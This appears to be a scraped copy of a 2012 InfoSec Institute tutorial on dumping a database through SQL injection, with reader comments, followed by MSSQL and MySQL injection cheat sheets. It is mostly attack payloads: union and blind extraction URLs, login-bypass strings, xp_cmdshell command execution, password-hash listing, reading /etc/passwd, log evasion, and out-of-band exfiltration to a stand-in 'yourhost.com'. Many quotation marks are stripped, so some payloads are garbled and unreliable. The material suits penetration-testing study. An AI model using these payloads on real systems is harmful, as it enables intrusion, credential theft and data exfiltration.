Вы находитесь на странице: 1из 32

DUMPING A COMPLETE DATABASE USING SQL

INJECTION


What is SQL Injection?
SQL Injection is a web based attack used by hackers to steal sensitive information from
organizations through web applications. It is one of the most common application layer attacks
used today. This attack takes advantage of improper coding of web applications, which allows
hackers to exploit the vulnerability by injecting SQL commands into the prior web application.
The underlying fact that allows for SQL Injection is that the fields available for user input in the
web application allow SQL statements to pass through and interact with or query the database
directly.
For example, let us consider a web application that implements a form-based login mechanism to
store the user credentials and performs a simple SQL query to validate each login attempt. Here
is a typical example:
select * from users where username=admin and password=admin123;
If the attacker knows the username of the application administrator is admin, he can login as
admin without supplying any password.
admin
The query in the back-end looks like:
Select * from users where username=admin and password=xxx;
Note the comment sequence () causes the followed query to be ignored, so query executed is
equivalent to:
Select * from users where username=admin;
So password check is bypassed.
Different types of SQL Injections
There are 3 different kinds of SQL Injections possible on web applications. They are:
In-band
Out-band
Inferior
In-band:
This is also called Error-based or Union based SQL Injection or first order Injection. The
application is said to be vulnerable to In-band when the communication between the attacker and
the application happens through a single channel. I.e. the attacker uses the same channel to enter
the malicious string and to retrieve the data from the database. This is a straight forward
technique. The application directly displays the retrieved data on the web pages.
Confirming the Vulnerability:
Consider an example:
http://192.168.2.3/
The above URL is an In-band SQLI vulnerable practice site. We can get these practice sites from
Google.
By accessing the URL, the browser displays the home page as shown in figure (a):

Figure (a)
Now let us try to confirm the vulnerability by simply adding a single quote at the end of the
URL:
http://192.168.2.3/
The above URL shows an error on the web page, saying Error in your SQL Syntax. This is
because of an extra single quote () that we have entered through the URL into the query in the
background. So by seeing the error we can understand that the URL is vulnerable to In-band
SQLI. Figure (b) shows you the error occurred due to concatenating the special character ().

Figure (b)
If single quote () is blocked, then we can try using or 1=1 or and 1=1 at the end of the
URL :
http://192.168.2.3/news-and-events.php?id=22 or 1=1
Or
http://192.168.2.3/news-and-events.php?id=22 and 1=1
The above URL shows the same page that has been displayed while accessing the URL:
http://192.168.2.3/news-and-events.php?id=22 . This is because the condition that we have
entered at the end of the URL is always true.
Now try to access by entering the string or 1=0or and 1=0. So the URL looks like:
http://192.168.2.3/news-and-events.php?id=22 or 1=0
Or
http://192.168.2.3/news-and-events.php?id=22 and 1=0
Now we will not be able to access the page, because the condition 1=0 is always false. Figure
(c) shows the page when accessed with the false condition.

Figure (c)
Then we can confirm that the URL is vulnerable to SQLI.
The string listed in the below table can be used to confirm SQL Injection:
or 1=1 or 1=1 or 1=1 or 1=1 or 1=1 or 1=1
or 1=1# or 1=1# or 1=1# or 1=1/* or 1=1/*
or 1=1/* or 1=1;%00 or 1=1;%00 or 1=1;%00 or or
or or or a=a or a=a or a=a or a=a
or a=a or a=a or a='a or a='a or a='a )or(a='a
)a=a )a'=a or=

You can try all the combinations for string or a=a that we have tried for or 1=1.. Like #,,
/* etc
Extracting-Information:
Moving further, we can extract or dump the complete database by using UNION and
SELECT commands.
Finding-the-DBMS:
We can find out DBMS type (MS-SQL, MYSQL, ORACLE) by using the unique functions of
the appropriate database. For example to find out the database user, all the above databases have
different syntax.
MS-SQL: user_name()
MYSQL: user ()
ORACLE: select user from dual;
So let us try to find the DBMS of our SQLI vulnerable site. As a first trial I am entering
user_name() at the place where we had 2.
http://192.168.2.3/news-and-events.php?id=-22 union select 1,user_name(),3,4,5,6,7
The above URL gives an error saying Function user_name doesnt exist. Which means the
DBMS isnt MS-SQL.

Figure (d)
Figure (d) shows that the DBMS isnt MS-SQL
Now lets try with user ()
http://192.168.2.3/news-and-events.php?id=-22 union select 1,user(),3,4,5,6,7
The above URL display the user name of the DBMS. So we confirm that the DBMS is MYSQL.

Figure (e)
Figure (e) shows the database user name which proves that the DBMS is MYSQL.
So we can use all the MYSQL functions in the place of 2,3,5,7 and dump the database on the
web page.
Finding-number-of-columns:
Let us try to find out the number of columns in the table using UNION. The URL looks like:
http://192.168.2.3/news-and-events.php?id=22 union select NULL
An error displays in the page saying, Select statement having different number of columns.
Now we understand that there are more than one column in the table.

Figure (f)
Figure (f) shows the error message occurred by accessing the web site using the above URL.
(Using select NULL).
So try adding one more NULL:
http://192.168.2.3/news-and-events.php?id=22 union select NULL, NULL
If we are still receiving the same error, then we keep on adding the NULL to the query and try to
find out the number of columns in the table.
http://192.168.2.3/news-and-events.php?id=22 union select NULL, NULL, NULL, NULL,
NULL, NULL, NULL.
The above string gives you the same page as the initial URL, as the number of columns in the
table is seven.

Figure (g)
Figure (g) shows the page when accessed with above URL. (Using seven NULLS).
We can also use ORDER BY for finding out the number of columns in table.
http://192.168.2.3/news-and-events.php?id=22 order by 7
So we can understand that there are seven columns in the table.
Now here is the trick. Where will we be able to see the extracted data from the database?
Want to learn more?? The InfoSec Institute Ethical Hacking course goes in-depth
into the techniques used by malicious, black hat hackers with attention getting lectures
and hands-on lab exercises. While these hacking skills can be used for malicious
purposes, this class teaches you how to use the same hacking techniques to perform a
white-hat, ethical hack, on your organization. You leave with the ability to
quantitatively assess and measure threats to information assets; and discover where
your organization is most vulnerable to black hat hackers. Some features of this
course include:
Dual Certification - CEH and CPT
5 days of Intensive Hands-On Labs
Expert Instruction
CTF exercises in the evening
Most up-to-date proprietary courseware available
VIEW ETHICAL HACKING
Just add a negative sign before the ID value. Then the data appears on the web page straight
away.
http://192.168.2.3/news-and-events.php?id=-22 union select 1,2,3,4,5,6,7
(Note: Negative sign (-) before 22)
Then the application displays some of the numbers on the web page. The above URL displays
2,3,5,7 on the web page.

Figure (h)
Figure (h) shows the numbers displayed on the web page.
Finding the version and getting the databases:
http://192.168.2.3/news-and-events.php?id=-22 union select 1,@@version,database(),4,5,6,7

Figure (i)
Figure (i) display the database version 5.0 and the database nilakantatrust.
Extracting Tables from the database:
Now let us try extracting all the tables from the database nilakantatrust.
http://192.168.2.3/news-and-events.php?id=-22 union select
1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where
table_schema=database()

Figure (j)
Figure (j) shows all the tables dumped from the database nilakantatrust.
Information_schema is the table which contains meta-data, nothing but information about all the
tables and columns of the database.
Extracting columns from the tables:
http://192.168.2.3/news-and-events.php?id=-22 union select
1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where
table_schema=database()
Figure (k)
Figure (k) displays all the columns of the tables in the database nilakantatrust. We can look at
all the columns and then dump the interesting columns like passwords, SSN, credit card
numbers, etc.
Out Band:
This kind of an attack uses two different channels for communication between attacker and the
application. Modern DBMS has very powerful applications, and their features go behind simply
returning the data to the users. They can be instructed to send an e-mail and they can also interact
with the file system. All of these functionalities are very helpful for an attacker. The attacker
establishes a direct connection to the database through one channel to insert the data or the
malicious string into the database. DBMS responds through a new channel, like e-mail, or
executing the commands using xp_cmdshell etc.
Inferred:
This is also known as Blind SQL Injection. Here the server doesnt respond with any syntax
error or other means of notification. This is very similar to normal SQL Injection, but when
attacked, the server doesnt send any data to the attacker. The attacker needs to retrieve the data
by asking true or false questions through SQL commands.
The attacker needs to execute his commands by observing the response of the application. This
makes exploiting a SQL Injection attack more difficult but not impossible.
Now lets have some practice:
http://192.168.2.3/news-and-events.php?id=22 and 1=1
The above URL gives the same data as the original site.
http://192.168.2.3/news-and-events.php?id=22 and 1=0
Above URL shows an error on the web page, as I explained to you previously (in in-band
type).
Finding
-the-DBMS:
To find out the DBMS used by the application we need to make use of different pre-defined
functions available for different databases.
For example:
To find out the user name of the database, the following syntax is used by different DBMS:
MS-SQL: user_name()
Mysql: user()
Oracle: select user from dual
You can know the difference from the cheat-sheet available at www.pentestmonkey.net
So, let us find out the DBMS using the above functions ;)
Accessing the URL: http://192.168.2.3/news-and-events.php?id=21 gives you a white page:
Figure (l)
Observe the white page in Figure (l), which is different from the URL: http://192.168.2.3/news-
and-events.php?id=22 as we have seen the page previously. By observing this difference we can
extract the DBMS type of the application.
Let us check whether the application is using MS-SQL:
http://192.168.2.3/news-and-
events.php?id=21%2b(select%20case%20when%20(select%20user_name())%20then%200%20e
lse%201%20end%20)
In the above URL I am trying to add 1 to the ID 21 based on the condition. When we access the
URL with ID=21 we get the page as shown in Figure (m) and when we access URL with ID=22
we get the home page as shown in Figure (a).
In the URL %2b indicates + and %20 indicates (space). It is called URL encoding. When a
particular symbol is filtered we can pass those symbols by encoding using different encoding
techniques available.
And the condition in the query is framed using case statement along with user_name (A pre-
defined function in MS-SQL to return DB user name). If the function user_name() is found then
the condition returns 1 which makes the ID=22, else it returns 0 and the ID remains 21.

Figure (m)
Figure (m) shows blank page which confirms that the DBMS isnt MS-SQL. So now, let us
check for MYSQL.
http://192.168.2.3/news-and-
events.php?id=21%2b(select%20case%20when%20(select%20user())%20then%200%20else%2
01%20end)
The above URL shows the page with ID=22, which confirms that the DBMS is MYSQL.
Finding the version:
To find the database version we can use substring function in MYSQL. Observe the below
URL:
http://192.168.2.3/news-and-events.php?id=22%20and%20substr(@@version,1,1)=5
If the database version is 5 then the substring function returns 5 (as we are trying to extract
only one character), where we are comparing the resultant value with 5. Then if we are able to
see the home page, we can confirm that the database is something like 5.x.x version.
If the URL doesnt pop up the home page, then we can try changing the comparing value to 4,3
etc
To find the exact version of the database we need to compare the second character of the version.
For example:
substr(@@version,2,1)=0
substr(@@version,3,1)=1
So, by observing the responses of the application we can extract a complete version of the
database.
Finding the User Name of the database:
We can find out the user name of the database by using both case statement and substring
function.
http://192.168.2.3/news-and-
events.php?id=22%2b%20(select%20case%20when%20(substr(user(),1,1)=a')%20then%200%
20else%201%20end)
Based on the responses of the application, keep on changing the character in the function
substr().
Once we get the first letter of the user name, then move on to find out the second letter.
For example:
substr(user(),2,1)=r
substr(user(),3,1)=b .
In this fashion, to find out a single character in the user name, we have to send more than 200
requests with all possible ASCII characters to the server. This technique can be optimized we can
extract a single character from the database with in 8 requests.
Conclusion:
SQL Injection is a technique which is used to dump a complete database of the application by
including few portions of SQL statements in the entry field or the URL.
References:
http://www.databasesecurity.com/webapps/sqlinference.pdf
https://www.owasp.org/index.php/SQL_Injection
By Kamal B|November 7th, 2012|Hacking|8 Comments
Share This Story, Choose Your Platform!
Facebook
Twitter
LinkedIn
Reddit
Tumblr
Google +1
Email
About the Author: Kamal B

Kamal B is an Information Security Professional with experience in penetration testing of web
applications. Currently a researcher with InfoSec Institute, his blog is located at -
http://www.securitybasics.wordpress.com
8 Comments
1. Dumping database using sql injection (manually) securitybasics November 7, 2012
at 2:56 pm - Reply
[...] Exploiting the Vulnerability: In-order the exploit the vulnerability, first we need to
confirm that the vulnerability (SQLI) exist in the application. I have written an article for
exploiting and extracting complete data from the database using all the three types (In-
band, Out-of-band, Blind). You can find the article here: Dumping database using SQL
Injection. [...]
2.
hatter November 7, 2012 at 4:21 pm - Reply
A couple protips:
* Id like to point out there is a difference, in fact, between union based injection and
error-based injection. In union based injection you are able to retrieve data WITHOUT
causing a database error. Error-based injection requires a database error to be thrown and
returns the desired data in the verbose error message. I do agree, though, that both of
these are in band :)
* Most of the time the browsers will not actually send the # character for comment
notation (listed in your table above) in the value of a variable because in the HTTP
protocol the # character is an anchor (e.g. <a name =>). The solution to this is to
urlencode it before putting it into the url bar like you did with the null byte using %23
to comment out the query in stead of #.
* My last tip here is that you can, if the database structure is small enough, use the
following query to retrieve table names as well as column names for the current database:
select group_concat(table_name,0x2e,column_name) from
information_schema.columns where table_schema=database()
3.
satish b November 7, 2012 at 10:46 pm - Reply
Good explanation
4.
Hanan November 8, 2012 at 7:26 am - Reply
You need to correct the links to the site you mention in the article. I thing that you should
change the id=22 field to id=-22.
Good Explanation.
o
kamal November 9, 2012 at 4:13 am - Reply
Yes you are right.. Giving a negative sign before the value of id parameter helps
in displaying the data on the web pages. I have explained it in the article in In-
band type.
5.
phani January 26, 2013 at 3:13 am - Reply
in fact i expected some more points
o
kamal January 29, 2013 at 11:10 am - Reply
Phani
Let me know what more you are expecting..
6.
SAI KIRAN June 28, 2013 at 1:11 pm - Reply
very Clear,understandable,Awesome explanation KAMAL
Leave A Comment



9 = six
Related Mini Courses
View All Mini Courses
Full Length Online Courses
Related Boot Camps
Information Security
Information Assurance
IT Audit
Microsoft
Cisco
CompTIA
Linux
Project Management
About the Author
Kamal B

Kamal B is an Information Security Professional with experience in penetration testing of web
applications. Currently a researcher with InfoSec Institute, his blog is located at -
http://www.securitybas

SQL Injection Wiki

MSSQL SQL Injection Cheat Sheet

Initial Exploitation
Quick Detection
Blind SQL Injection (Time Based)
Line Comments
Inline Comments
If Statements
String without Quotes
Union Injection
Union Injection - Fixing Language Issues
Login Notes
Covering Tracks
Bulk Insert
BCP
VBS - WSH
Enabling xp_cmdshell in SQL Server 2005
Command Execution
Create Users
Drop Users
Make User DBA
Other Stored Procedures
List Users
List Passwords
List Databases
Privileges
Getting user defined tables
Getting Column Names
Error Messages
Linked Servers
Default Databases
Path of DB files
Time Based SQLi Exploitation
Out of Band Channel

Initial Exploitation
Tweet this or Make a suggestion
Version SELECT @@VERSION
Current User SELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
Current Database SELECT db_name()
Quick Detection
Tweet this or Make a suggestion
Error Based SQLi For integer inputs : convert(int,@@version)
For string inputs : + convert(int,@@version) +

The attacks above should throw conversion errors.
Clear SQLi Tests These tests are simply good for boolean sql injection and silent attacks.

product.asp?id=4
product.asp?id=5-1
product.asp?id=4 OR 1=1
Blind SQL Injection (Time Based)
Tweet this or Make a suggestion
### Use this when you can not see any difference at output. Second do not use more
than 30 seconds, because database API connection timeout could be easily
reached.
### This is just like sleep, wait for spesified time. CPU safe way to make database
wait.

WAITFOR DELAY '0:0:10'--
Real World
Samples
ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--
Line Comments
Tweet this or Make a suggestion
DROP sampletable;--
DROP sampletable;#
Username: admin'--

SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'

This is going to log you as admin user, because rest of the SQL query will be ignored.
Inline Comments
Tweet this or Make a suggestion
Comments out rest of the query by not closing them or you can use for bypassing
blacklisting, removing spaces, obfuscating and determining database versions.
DROP/*comment*/sampletable
DR/**/OP/*bypass blacklisting*/sampletable

If Statements
Tweet this or Make a suggestion
Get response based on a if statement. This is one of the key points of Blind SQL Injection,
also can be very useful to test simple stuff blindly and accurately.

SQL Server If Statement
IF condition true-part ELSE false-part (S)
IF (1=1) SELECT 'true' ELSE SELECT 'false'
If Statement SQL Injection Attack Samples

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".
String without Quotes
Tweet this or Make a suggestion
SELECT CHAR(75)+CHAR(76)+CHAR(77)

This will return KLM.
Union Injection
Tweet this or Make a suggestion
With union you do SQL queries cross-table. Basically you can poison query to return records
from another table.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.

Another Example:
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

Union Injection - Fixing Language Issues
Tweet this or Make a suggestion
While exploiting Union injections sometimes you get errors because of different language
settings (table settings, field settings, combined table / db settings etc.) these functions are quite
useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc.
applications then you will see it.

Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check
out SQL Server documentation.

SELECT header FROM news UNION ALL SELECT name COLLATE
SQL_Latin1_General_Cp1254_CS_AS FROM members
Login Notes
Tweet this or Make a suggestion
Bypassing
Login Screens
SQL Injection 101, Login tricks
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
Bypassing
second MD5
hash check
login screens
If application is first getting the record by username and then compare returned
MD5 with supplied password's MD5 then you need to some extra tricks to fool
application to bypass authentication. You can union results with a known
password and MD5 hash of supplied password. In this case application will
compare your password and your supplied MD5 hash instead of MD5 from
database.

Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin',
'81dc9bdb52d04dc20036dbd8313ed055

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
Covering Tracks
Tweet this or Make a suggestion
SQL Server don't log queries which includes sp_password for security reasons(!). So if you add
--sp_password to your queries it will not be in SQL Server logs (of course still will be in web
server logs, try to use POST if it's possible)
Bulk Insert
Tweet this or Make a suggestion
Insert a file content to a table. If you don't know internal path of web application you can read
IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search
in it to identify application path.
Create table foo( line varchar(8000) );
bulk insert foo from 'c:\inetpub\wwwroot\login.asp';
Drop temp table; and repeat for another file.

BCP
Tweet this or Make a suggestion
Write text file. Login Credentials are required to use this function.

bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -
Usa -Pfoobar

VBS - WSH
Tweet this or Make a suggestion
You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec
sp_oamethod @o, 'run', NULL, 'notepad.exe' --

Enabling xp_cmdshell in SQL Server 2005
Tweet this or Make a suggestion
By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled
in SQL Server 2005. If you have admin access then you can enable these.

EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

Command Execution
Tweet this or Make a suggestion
By default it's disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell 'ping '

Create Users
Tweet this or Make a suggestion
EXEC sp_addlogin 'user', 'pass';

Drop Users
Tweet this or Make a suggestion
EXEC sp_droplogin 'user';

Make User DBA
Tweet this or Make a suggestion
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;

Other Stored Procedures
Tweet this or Make a suggestion
1. Registry Stuff (xp_regread)
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
2. Managing Services (xp_servicecontrol)
3. Medias (xp_availablemedia)
4. ODBC Resources (xp_enumdsn)
5. Login mode (xp_loginconfig)
6. Creating Cab Files (xp_makecab)
7. Domain Enumeration (xp_ntsec_enumdomains)
8. Process Killing (need PID) (xp_terminate_process)
9. Add new procedure (virtually you can execute whatever you want)
10. sp_addextendedproc xp_webserver, c:\temp\x.dll
11. exec xp_webserver
12. Write text file to a UNC or an internal path (sp_makewebtask)

List Users
Tweet this or Make a suggestion
SELECT name FROM master..syslogins

List Passwords
Tweet this or Make a suggestion
MSSQL 2000:
SELECT name, password FROM master..sysxlogins
MSSQL 2005:
SELECT name, password_hash FROM master.sys.sql_logins

List Databases
Tweet this or Make a suggestion
SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); -- for N = 0, 1, 2, ...

Privileges
Tweet this or Make a suggestion
IS_MEMBER()
The function indicates whether the current user is a member of the specified Microsoft Windows
group or SQL Server database role.

IF IS_MEMBER ('db_owner') = 1
PRINT 'Current user is a member of the db_owner role'

IS_SRVROLEMEMBER()
Indicates whether a SQL Server login is a member of the specified fixed server role.

IF IS_SRVROLEMEMBER ('sysadmin') = 1
print 'Current user''s login is a member of the sysadmin role'

Getting user defined tables
Tweet this or Make a suggestion
SELECT name FROM sysobjects WHERE xtype = 'U'

Getting Column Names
Tweet this or Make a suggestion
This works only reading for current databases tables.

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name =
'tablenameforcolumnnames')

This works globally. But you should change the master with the db name which holds the table
you want to read the columns and change sometable with the table name.

SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM
master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id
AND master..sysobjects.name='sometable';

Error Messages
Tweet this or Make a suggestion
SELECT * FROM master..sysmessages

Linked Servers
Tweet this or Make a suggestion
SELECT * FROM master..sysservers

Default Databases
Tweet this or Make a suggestion
northwind
model
msdb
pubs
tempdb

Path of DB files
Tweet this or Make a suggestion
%PROGRAM_FILES%\Microsoft SQL Server\MSSQL.1\MSSQL\Data\

Time Based SQLi Exploitation
Tweet this or Make a suggestion
?vulnerableParam=1;DECLARE @x as int;DECLARE @w as char(6);SET
@x=ASCII(SUBSTRING(({INJECTION}),1,1));IF @x=100 SET @w='0:0:14' ELSE SET
@w='0:0:01';WAITFOR DELAY @w--

{INJECTION} = You want to run the query.

If the condition is true, will response after 14 seconds. If is false, will be delayed for one second.

Out of Band Channel
Tweet this or Make a suggestion
?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB',
({INJECT})+'.yourhost.com';'sa';'pwd', 'SELECT 1')

Makes DNS resolution request to {INJECT}.yourhost.com

?vulnerableParam=1; DECLARE @q varchar(1024); SET @q =
'\\'+({INJECT})+'.yourhost.com\\test.txt'; EXEC master..xp_dirtree @q

Makes DNS resolution request to {INJECT}.yourhost.com

{INJECTION} = You want to run the query.

SQL Injection Wiki

MySQL SQL Injection Cheat Sheet

Initial Exploitation
Quick Detection
Blind SQL Injection (Time Based)
Line Comments
Inline Comments
If Statements
String without Quotes
Bulk Insert
Load File
Command Execution
Create Users
Drop Users
Make User DBA
List Users
List Passwords
List Databases
Privileges
Getting user defined tables
Getting Column Names
Default Databases
Path of DB files
Time Based SQLi Exploitation
Out of Band Channel

Initial Exploitation
Tweet this or Make a suggestion
Version SELECT @@VERSION
SELECT version()
Current User SELECT user()
SELECT system_user()
Current Database SELECT database()
Quick Detection
Tweet this or Make a suggestion
Error
Based
SQLi
For integer inputs:

(select 1 and row(1,1)>(select
count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1
union select 2)a group by x limit 1))

For string inputs:

'+(select 1 and row(1,1)>(select
count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1
union select 2)a group by x limit 1))+'

The attacks above should throw 'duplicate entry' errors.
Clear
SQLi
Tests
These tests are simply good for boolean sql injection and silent attacks.

product.php?id=4
product.php?id=5-1
product.php?id=4 OR 1=1
product.php?id=-1 OR 17-7=10
Blind SQL Injection (Time Based)
Tweet this or Make a suggestion
### Use this when you can not see any difference at output. Second do not use more
than 30 seconds, because database API connection timeout could be easily
reached.
### This is just like sleep, wait for spesified time. CPU safe way to make database
wait.

SLEEP(25)--
SELECT BENCHMARK(1000000,MD5('A'));
Real World
Samples
ProductID=1 OR SLEEP(25)=0 LIMIT 1--
ProductID=1) OR SLEEP(25)=0 LIMIT 1--
ProductID=1' OR SLEEP(25)=0 LIMIT 1--
ProductID=1') OR SLEEP(25)=0 LIMIT 1--
ProductID=1)) OR SLEEP(25)=0 LIMIT 1--
ProductID=SELECT SLEEP(25)--
Line Comments
Tweet this or Make a suggestion
DROP sampletable;--
DROP sampletable;#

Username : admin'--
: admin' or '1'='1'--

SELECT * FROM members WHERE $username = 'admin'--' AND $password = 'password'

This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments
Tweet this or Make a suggestion
Comments out rest of the query by not closing them or you can use for bypassing
blacklisting, removing spaces, obfuscating and determining database versions.
DROP/*comment*/sampletable
DR/**/OP/*bypass blacklisting*/sampletable

If Statements
Tweet this or Make a suggestion
Get response based on a if statement. This is one of the key points of Blind SQL Injection, also
can be very useful to test simple stuff blindly and accurately.

MySQL If Statement

IF condition true-part ELSE false-part
SELECT IF (1=1, true, false)

If Statement SQL Injection Attack Samples

SELECT IF(user()='root@localhost','true','false')

String without Quotes
Tweet this or Make a suggestion
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))

This will return KLM.

Bulk Insert
Tweet this or Make a suggestion
Insert a file content to a table.

SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; --

Load File
Tweet this or Make a suggestion
' UNION ALL SELECT LOAD_FILE('/etc/passwd') --

SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
This will show the content of c:\boot.ini

Command Execution
Tweet this or Make a suggestion
Possible with using UDF (user defined functions).

http://packetstormsecurity.org/libraries/lib_mysqludf_sys_0.0.3.tar.gz

Create Users
Tweet this or Make a suggestion
CREATE USER username IDENTIFIED BY 'password'; --

Drop Users
Tweet this or Make a suggestion
DROP USER username; --

Make User DBA
Tweet this or Make a suggestion
GRANT ALL PRIVILEGES ON *.* TO username@'%';

List Users
Tweet this or Make a suggestion
SELECT * FROM 'user' WHERE 1 LIMIT 0,30
SELECT * FROM mysql.user WHERE 1 LIMIT 1,1
SELECT * FROM mysql.user

List Passwords
Tweet this or Make a suggestion
SELECT user, password FROM mysql.user
SELECT user, password FROM mysql.user LIMIT 1,1
SELECT password FROM mysql.user WHERE user = 'root'

List Databases
Tweet this or Make a suggestion
SELECT schema_name FROM information_schema.schemata;
SELECT schema_name FROM information_schema.schemata LIMIT 1,1;

Privileges
Tweet this or Make a suggestion
SELECT Super_priv FROM mysql.user WHERE user=(SELECT user) LIMIT 1,1--
SELECT Super_priv FROM mysql.user WHERE user= root LIMIT 1,1--

Getting user defined tables
Tweet this or Make a suggestion
SELECT table_name FROM information_schema.tables WHERE table_schema = 'tblUsers'

tblUsers -> tablename

Getting Column Names
Tweet this or Make a suggestion
SELECT table_name, column_name FROM information_schema.columns WHERE
table_schema = 'tblUsers

tblUsers -> tablename

SELECT table_schema, table_name FROM information_schema.columns WHERE
column_name = 'username';

find table which have a column called 'username'

Default Databases
Tweet this or Make a suggestion
information_schema (>= mysql 5.0)
mysql

Path of DB files
Tweet this or Make a suggestion
SELECT @@datadir
C:\AppServ\MySQL\data\

Time Based SQLi Exploitation
Tweet this or Make a suggestion
?vulnerableParam=-99 OR IF((ASCII(MID(({INJECTON}),1,1)) = 100),SLEEP(14),1) = 0
LIMIT 1--

{I NJ ECTI ON}= You want to run the query.

If the condition is true, will response after 14 seconds. If is false, will be delayed for one second.

Out of Band Channel
Tweet this or Make a suggestion
?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('\\\\',({INJECTION}),
'yourhost.com\\'))) Makes a NBNS query request/DNS resolution request to yourhost.com

?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE
'\\\\yourhost.com\\share\\output.txt') Writes data to your shared folder/file

{I NJ ECTI ON}= You want to run the query.

Вам также может понравиться